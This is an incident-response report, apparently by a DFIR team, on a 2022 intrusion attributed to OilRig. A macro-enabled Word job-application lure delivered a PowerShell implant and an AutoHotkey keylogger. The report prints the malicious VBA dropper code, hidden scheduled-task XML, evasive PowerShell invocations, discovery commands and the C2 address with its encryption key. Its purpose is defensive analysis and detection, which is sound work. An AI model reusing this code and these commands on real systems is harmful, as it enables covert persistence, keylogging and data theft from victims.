In this intrusion from August 2022, we observed a compromise that was initiated with a Word document containing a malicious VBA macro, which established persistence and communication to a command and control server (C2). Upon performing initial recon and user enumeration, the threat actor used AutoHotkey to launch a keylogger.
AutoHotkey is an open-source scripting language for Microsoft Windows machines that was introduced to provide easy keyboard shortcuts and automation. As described in AutoHotkey documentation, the AHK script can be executed in a number of ways. As observed in this intrusion, the adversary executed the AHK keylogger script by calling a renamed version of AutoHotkey.exe (module.exe) and passing the script’s filename (module.ahk) as a command-line parameter.
Case Summary
The intrusion began with the execution of a malicious macro within a Word document. The document was themed as a job application for the firm Lumen. This tactic has been observed by many threat actor groups, including state sponsored actors in North Korea and Iran. Upon opening the file, the user was prompted to enable macros to complete the form, which began execution of the malware.
Once executed, the macro created a VBS script (Updater.vbs), two PowerShell scripts (temp.ps1 and Script.ps1), and installed persistence through a scheduled task. The implant was fully implemented in PowerShell, which is uncommon compared to many initial access tools today.
Following the execution of the VBA embedded macros, the PowerShell script, Script.ps1, began to connect to the command and control server through an encrypted channel. Around a day after execution, the server became live and began sending instructions to the implant. The instructions obtained from the server were then executed through the temp.ps1 PowerShell script.
The threat actors began executing basic discovery commands, all of which were executed via PowerShell cmdlets or built-in Windows utilities like whoami, net, time, tzutil and tracert; one exception to this was when the threat actors extracted a specific function from the PowerSploit framework, Convert-LDAPProperty, to enumerate domain accounts in the environment. All data collected was then exfiltrated over the existing command and control channel.
On the fourth day of the intrusion, the threat actors became active again by dropping of a set of files that performed keylogger functions. A scheduled task was then created to assist in execution of the keylogger. The keylogger itself was comprised of an executable, module.exe, which was a renamed AutoHotkey binary. This would run the AutoHotkey script module.ahk. Additionally, a PowerShell script called readKey.ps1 would execute in the same task.
On the sixth day of the intrusion, the threat actors returned and collected the data compiled by the keylogger. This was performed using the makecab.exe Windows utility to compress the keylogger files before exfiltrating them to the command and control server. They then dropped another PowerShell script. This script would take a screenshot of the desktop of the infected host. After this data was exfiltrated, the threat actors reviewed the antivirus service status and some additional host data.
The threat actors returned again on the seventh and ninth days to collect the keylogger data. The threat actors were not observed performing any further actions before being evicted from the environment.
One interesting fact about this case is that the initial implant was fully implemented using PowerShell, and no executables were dropped to the victim’s workstation for the implant. It’s also interesting to note that the PowerShell implant was and stayed fully undetectable for a significant period of time. This is contrary to many of our reported cases where the initial access relies on initial access brokers and common malware used by those groups such as Emotet, IcedID, or Qbot.
The use of custom tailored malware points to a more targeted or discerning organization compared to the spray-and-pray approach performed by many access brokers. Reviewing the network traffic, we observed two signatures fire on the command and control server for ET MALWARE TA452 Related Backdoor Activity (GET)/(POST). TA452 is an activity group tracked by Proofpoint that translates to the OilRig group. Under other classifications there is overlap with COBALT GYPSY, IRN2, APT34, and Helix Kitten.
Oilrig is suspected of being an Iran based and state sponsored group. This group is widely credited with creating and utilizing various home grown PowerShell frameworks to perform their intrusions. Finally, analyzing the time of the threat actor hands on keyboard actions, the threat actors operated between Saturday to Wednesday with light activity on Thursday and no activity on Friday. All activity took place place between 0300-1600 UTC which aligns with 0630-1930 (GMT +3:30) Tehran local time. All of these factors together align to point to the Iranian Oilrig group as the likely threat actors behind this intrusion.
Services
We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, BazarLoader, Covenant, Metasploit, Empire, PoshC2, etc. More information on this service and others can be found here.
We also have artifacts and IOCs available from this case such as pcaps, memory captures, files, event logs including Sysmon, Kape packages, and more, under our Security Researcher and Organization services.
Timeline
Analysis and reporting completed by @MittenSec, @MetallicHack and @0xtornado.
Initial Access
The initial access used in this intrusion was a malicious word document dubbed “Apply Form.docm“. This document purported to be an application form for the technology and telecommunications company Lumen.
This was originally found and shared by @StopMalvertisin in a tweet detailing the lure and the payload. The precise delivery method remains unknown as we do not have direct evidence on how this malicious document was delivered. We assert with a medium level of confidence, based on the previous similar reports, that those documents were likely delivered through spearphishing attachments in emails (T1566).
Execution
This intrusion began with the execution of a malicious VBA macro embedded in a word document.
A first look at “Apply Form.docm” with olevba.py, immediately highlights some suspicious behaviors.
First off, the macro gets the name of the user executing the Word document and creates a directory in AppData, if it doesn’t exist:
Private Sub Document_Open() Application.ScreenUpdating = False Call Macro1 Dim Script, inp As String inp = Google.meet.Text pla = Google.chat.Text uName = Environ("username") Pathh = "C:\Users\" & uName & "\AppData\Local\Microsoft\Windows\Update\" If Dir(Pathh) = "" Then MkDir Pathh Call Macro2 End If
The malicious VBA macro then created two PowerShell scripts and one VBScript file in “C:\Users\<USER>\AppData\Local\Microsoft\Windows\Update\”
Set FSO1 = CreateObject("Scripting.FileSystemObject") SetAttr Pathh, vbHidden Set FS1 = FSO1.CreateTextFile(Pathh & "Script.ps1", True) ActiveDocument.Shapes.Range(Array("Text Box 19")).Select Selection.WholeStory FS1.WriteLine Selection.Text FS1.Close Set FSO3 = CreateObject("Scripting.FileSystemObject") Set FS3 = FSO3.CreateTextFile(Pathh & "temp.ps1", True) ActiveDocument.Shapes.Range(Array("Text Box 18")).Select Selection.WholeStory FS3.WriteLine Selection.Text FS3.Close inp = Replace(inp, "PATH", Pathh) inp = EncodeBase65(inp) inp = Replace(inp, "a", "@") inp = Replace(inp, "H", "-") inp = Replace(inp, "S", "$") VBS = "xxx = """ & inp & """" & vbNewLine & pla Set FSO2 = CreateObject("Scripting.FileSystemObject") Set FS2 = FSO2.CreateTextFile(Pathh & "Updater.vbs", True) FS2.WriteLine VBS FS2.Close PNGenerator Application.ScreenUpdating = True ActiveDocument.Shapes.Range(Array("Text Box 9")).Select End Sub
With Sysmon and FileCreate event 11, we can see that WINWORD.EXE successfully created these files:
Then, in order to execute the script and install persistence, a new scheduled task was registered:
Private Sub Document_Close() Application.ScreenUpdating = False uName = Environ("username") Pathh = "C:\Users\" & uName & "\AppData\Local\Microsoft\Windows\Update\" XML = Google.map.Text XML = Replace(XML, "PATH", Pathh) Set service = CreateObject("Schedule.Service") Call service.Connect Set rootFolder = service.GetFolder("\") temp = rootFolder.RegisterTask("WindowsUpdate", XML, 6, , , 3) Call Macro4 End Sub
The XML above describing the scheduled task was directly embedded in the VBA macro.
<?xml version="1.0" encoding="UTF-16"?> <Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <RegistrationInfo> <Description>This task is used to start the Windows Update service when needed to perform scheduled operations such as scans.</Description> <URI>\WindowsUpdate</URI> </RegistrationInfo> <Triggers> <TimeTrigger> <Repetition> <Interval>PT10M</Interval> <StopAtDurationEnd>false</StopAtDurationEnd> </Repetition> <StartBoundary>2022-06-21T00:00:00</StartBoundary> <Enabled>true</Enabled> <RandomDelay>PT1M</RandomDelay> </TimeTrigger> <IdleTrigger> <Enabled>true</Enabled> </IdleTrigger> </Triggers> <Principals> <Principal id="Author"> <LogonType>InteractiveToken</LogonType> <RunLevel>LeastPrivilege</RunLevel> </Principal> </Principals> <Settings> <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate> <StartWhenAvailable>true</StartWhenAvailable> <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> <IdleSettings> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartOnDemand>true</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>true</Hidden> <RunOnlyIfIdle>false</RunOnlyIfIdle> <DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession> <UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine> <WakeToRun>false</WakeToRun> <ExecutionTimeLimit>PT0S</ExecutionTimeLimit> <Priority>7</Priority> <RestartOnFailure> <Interval>PT1M</Interval> <Count>3</Count> </RestartOnFailure> </Settings> <Actions Context="Author"> <Exec> <Command>wscript</Command> <Arguments>"PATHUpdater.vbs"</Arguments> </Exec> </Actions> </Task>
Persistence
The first scheduled task installed using the malicious VBA macro, executed a VBS script, which in turn executed a PowerShell script named Script.ps1.
Script.ps1 contacts the C2 server and executed the base64 commands using temp.ps1.
Event 201 from Microsoft-Windows-TaskScheduler/Operational highlights the successful execution of this scheduled task.
Another scheduled task named MicrosoftEdgeUpdateTaskMachineUC
was registered using schtasks.exe on the command line:
The scheduled task was then started manually:
C:\Windows\system32\schtasks.exe /run /tn MicrosoftEdgeUpdateTaskMachineUC
The scheduled task was designed to execute module.exe and a PowerShell script named readKey.ps1. These components will be explained later in the collection section of this report.
<?xml version="1.0" encoding="UTF-16"?> <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <RegistrationInfo> <Date>2022-08-04T11:52:03.8083191</Date> <Author>Microsoft Inc.</Author> <URI>\masdfm</URI> </RegistrationInfo> <Triggers> <LogonTrigger> <Enabled>true</Enabled> <UserId>[REDACTED]</UserId> </LogonTrigger> </Triggers> <Principals> <Principal id="Author"> <UserId>[REDACTED]</UserId> <LogonType>InteractiveToken</LogonType> <RunLevel>LeastPrivilege</RunLevel> </Principal> </Principals> <Settings> <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate> <StartWhenAvailable>false</StartWhenAvailable> <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> <IdleSettings> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartOnDemand>true</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>false</Hidden> <RunOnlyIfIdle>false</RunOnlyIfIdle> <WakeToRun>false</WakeToRun> <ExecutionTimeLimit>PT72H</ExecutionTimeLimit> <Priority>7</Priority> </Settings> <Actions Context="Author"> <Exec> <Command>"C:\Users\Public\module\module.exe"</Command> <Arguments>"C:\Users\Public\module\module.ahk"</Arguments> </Exec> <Exec> <Command>powershell</Command> <Arguments>-ep bypass -windowstyle hidden -f "C:\Users\Public\module\readKey.ps1"</Arguments> </Exec> </Actions> </Task>
Defense Evasion
The threat actor’s keylogger used in the intrusion implemented a XOR operation to encode the contents of data written to logFileuyovaqv.bin.
The threat actor removed various files created by the discovery actions during the intrusion.
Remove-Item "C:\Users\REDACTED\AppData\Local\Temp\logFileuyovaqv.cab" Remove-Item c:\users\public\u.zip Remove-Item c:\users\public\u.xml
Discovery
Multiple discovery commands were executed by the threat actors. Each command was executed via the temp.ps1
file with the input commands via base64 command line arguments.
During the intrusion, the threat actors executed the following for discovery tasks.
List disk information
"C:\Windows\System32\Wbem\WMIC.exe" logicaldisk
List process
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Get-Process
Get information about Windows Defender service
"C:\Windows\system32\cmd.exe" /c sc query WinDefend
Get current time on the victim’s workstation
"C:\Windows\system32\cmd.exe" /c time
Get time zone
"C:\Windows\system32\cmd.exe" /c tzutil /g
Use TRACERT in order to discover network infrastructure
"C:\Windows\system32\cmd.exe" /c tracert 8.8.8.8
Enumerate local accounts
"C:\Windows\system32\net.exe" accounts
Get information on current user
"C:\Windows\system32\whoami.exe" /all
Enumerate files
get-childitem "C:\Program Files" | out-string get-childitem "C:\Program Files (x86)" | out-string get-childitem "C:\users" | out-string Get-ChildItem "C:\users\$env:username\desktop\" | out-string Get-ChildItem "C:\users\$env:username\downloads\" | out-string Get-ChildItem "C:\users\$env:username\documents\" | out-string Get-ChildItem $env:LOCALAPPDATA | out-string get-childitem "C:\Program Files" | out-string get-childitem C:\ | out-string get-childitem C:\users\%username%\downloads | out-string get-childitem C:\Users\%username%\AppData\Local\Microsoft\Edge\User Data\Default | out-string get-childitem C:\Users\$env:username\AppData\Local\Microsoft\Edge\User Data\Default | out-string
A PowerShell function based on the PowerSploit Convert-LDAPProperty code was used in order to retrieve information on domain accounts:
Query AD & SAM account name
$s = new-object -typename system.directoryservices.directorysearcher $s.PageSize = 999999999 $s.Filter = '(&(objectclass=computer))' $s.findall() | % {$_.properties.samaccountname; $_.properties.operatingsystem}
Computer and network information discovery
Get-ComputerInfo | out-string Get-NetTCPConnection | out-string Get-NetIPConfiguration -All | Out-String
Get the account information for logged-on user of a Windows machine
Get-WmiObject –ComputerName [REDACTED] –Class Win32_ComputerSystem | Select-Object UserName
Gets the status of antimalware software on the computer.
Get-MpComputerStatus
List environment variables
ls $env:temp get-childitem $env:temp | out-string
Get public IP address
Invoke-WebRequest -UseBasicParsing -Uri http://ident.me | out-string
Collection
Before exfiltration, the data collected from LDAP discovery was written out to an XML file.
Compress-Archive -Path c:\users\public\u.xml -DestinationPath c:\users\public\u.zip -CompressionLevel Optimal
Threat actors also dropped and executed a PowerShell script using their temp.ps1
C2 script:
The sc.ps1
file contained PowerShell code to capture a screenshot of the system. The screenshots were taken upon the execution of this PowerShell script and then they were saved in the same directory as sc.png
files.
A scheduled task named MicrosoftEdgeUpdateTaskMachineUC
was created by the threat actors. The program executed by this task was a keylogger. This keylogger relied on the files module.exe, module.ahk, and readkey.ps1. The file t.xml contained the task used to execute these files.
The executable, module.exe, is a renamed binary of AutoHotkey. This is one of the ways in which you can execute an AutoHotkey (AHK) script.
The actual keylogger is the AHK script, module.ahk.
Navigating through the AHK script, we discovered artifacts of acquiring the keyboard layout and capturing pressed keys. In addition, we notice there is a function named UpdateReg
that accepts a text parameter. This registry key is also found within the readkey.ps1 script and turns out to be where the keylogger saved captured keystrokes.
The readkey.ps1 file grabbed the keystrokes from the KeypressValue
registry key, XOR’s the data, and saves it to a log (logFileuyovaqv.bin) file.
The threat actors then made a cab file out of the collected keystrokes in preparation for exfiltration.
makecab "C:\Users\<REDACTED>\AppData\Local\Temp\logFileuyovaqv.bin" C:\Users\<REDACTED>\AppData\Local\Temp\logFileuyovaqv.cab
Command and Control
Activity to the C2 is established via execution of the Script.ps1 and temp.ps1 files. Communication between the victim and C2 is encrypted using AES-CBC with the following Key and IV:
Key | 17 1d 84 e8 41 ae e4 c0 ff fb a2 7c 86 d1 ec 82 b8 80 7c b8 c3 79 9a 11 b8 fa 2d b7 78 1f d1 5a |
IV | 18 3c ed 6f b3 34 9f 9a c6 f9 08 f9 29 de 35 52 |
First communication to the C2 (hxxp[:]//45[.]89[.]125[.]189/get) began on day one and beaconed in roughly 10-minute increments. All requests return a 502 Bad Gateway error until day two.
First C2 communication breakdown:
AES encrypted PowerShell command example:
[email protected]#[email protected]#EWQpowershell -command Get-Process^%$RTY:
SafeBreach published similar findings from this C2 infrastructure, where they described the format in detail. You can review their research here.
Exfiltration
Several files collected during discovery tasks, such as domain user account information and later the keylogger collected data, were exfiltrated to the command and control server via POST requests.
Impact
During the intrusion, no final actions beyond data collection and discovery tasks we observed
Indicators
Atomic
45.89.125.189 http://45.89.125[.]189/get http://45.89.125[.]189/put
Computed
t.xml 691332c86dd568f87b7fff4601c37895 0b676ea2ad205b70b9feb1eedbfdec72137e08e5 7ae52c0562755f909d5d79c81bb99ee2403f2c2ee4d53fd1ba7692c8053a63f6 readkey.ps1 fc5f490dbe375779b2c6bbccdd869ca6 b8c8171b6e8efd2bb0ae8d5b22749564edd38109 eb2a94ee29d902c8a13571ea472c80f05cfab8ba4ef80d92e333372f4c7191f4 module.exe 9a7d5f126904adc194df4dcbc2c5715c a86088cf31c72cc4648ee8dfa082979a74044203 b92be3d086372fc89b3466e8d9707de78a5b6dff3e4a2eecc92c01d55a86fd7d module.ahk c65b10c1113c0f0d4e06609fa60d9aad 2ca263fc5f1e505c1839ab0abf56571af6c7809d e4b2411286d32e6c6d3d7abffc70d296c814e837ef14f096c829bf07edd45180 Apply_Form.docm f769f67681707e8f69ecdf9e62fb944c c5f6a48fa52a279e1f3424b97662b479716229af 45f293b1b5a4aaec48ac943696302bac9c893867f1fc282e85ed8341dd2f0f50 sc.ps1 34a2677a7776f87e810814c2d3845f47 79b1f6b0afe943a60560eb20677d5b801dc29ba3 ac933ffc337d13b276e6034d26cdec836f03d90cb6ac7af6e11c045eeae8cc05 logFileuyovaqv.bin f7611e77c5f99b81085e61b17b969afe 475320a5bf0ba52fc9ff711d8e6dba512b3fefbf d4857156094963c8e38f6e88f4d72cb910aa537e3811eae0579f7abc568c9ae8 Updater.vbs 850b8d07180601417193a6f88227130a e1f4a8e434638c56b7a0d2d0317f4d0d84987a40 be0e75d50565506baa1ce24301b702989ebe244b3a1d248ee5ea499ba812d698 temp.ps1 c3aedb781a5b96674764cd43ef076d10 86da0100bb6a07a89eaa4dc3ec220e9dbd6ecf71 16007ea6ae7ce797451baec2132e30564a29ee0bf8a8f05828ad2289b3690f55 Script.ps1 a3c14604fb4454ba5722f07f89780e73 ed7b9ddbaee794cecb80fac794b0e6cb0ae073b5 bda4484bb6325dfccaa464c2007a8f20130f0cf359a7f79e14feeab3f
Detections
Network
ET MALWARE TA452 Related Backdoor Activity (POST) ET MALWARE TA452 Related Backdoor Activity (GET) ET INFO Windows Powershell User-Agent Usage
Sigma
Yara
https://github.com/The-DFIR-Report/Yara-Rules/blob/main/17333/17333.yar
MITRE
PowerShell – T1059.001 Malicious File – T1204.002 Domain Account – T1087.002 System Information Discovery – T1082 Process Discovery – T1057 System Owner/User Discovery – T1033 System Network Connections Discovery – T1049 Scheduled Task/Job – T1053 Screen Capture – T1113 Keylogging – T1056.001 Symmetric Cryptography – T1573.001 Archive via Utility – T1560.001 Security Software Discovery – T1518.001 File and Directory Discovery – T1083 System Time Discovery – T1124 System Service Discovery – T1007 Modify Registry – T1112
Internal case #17333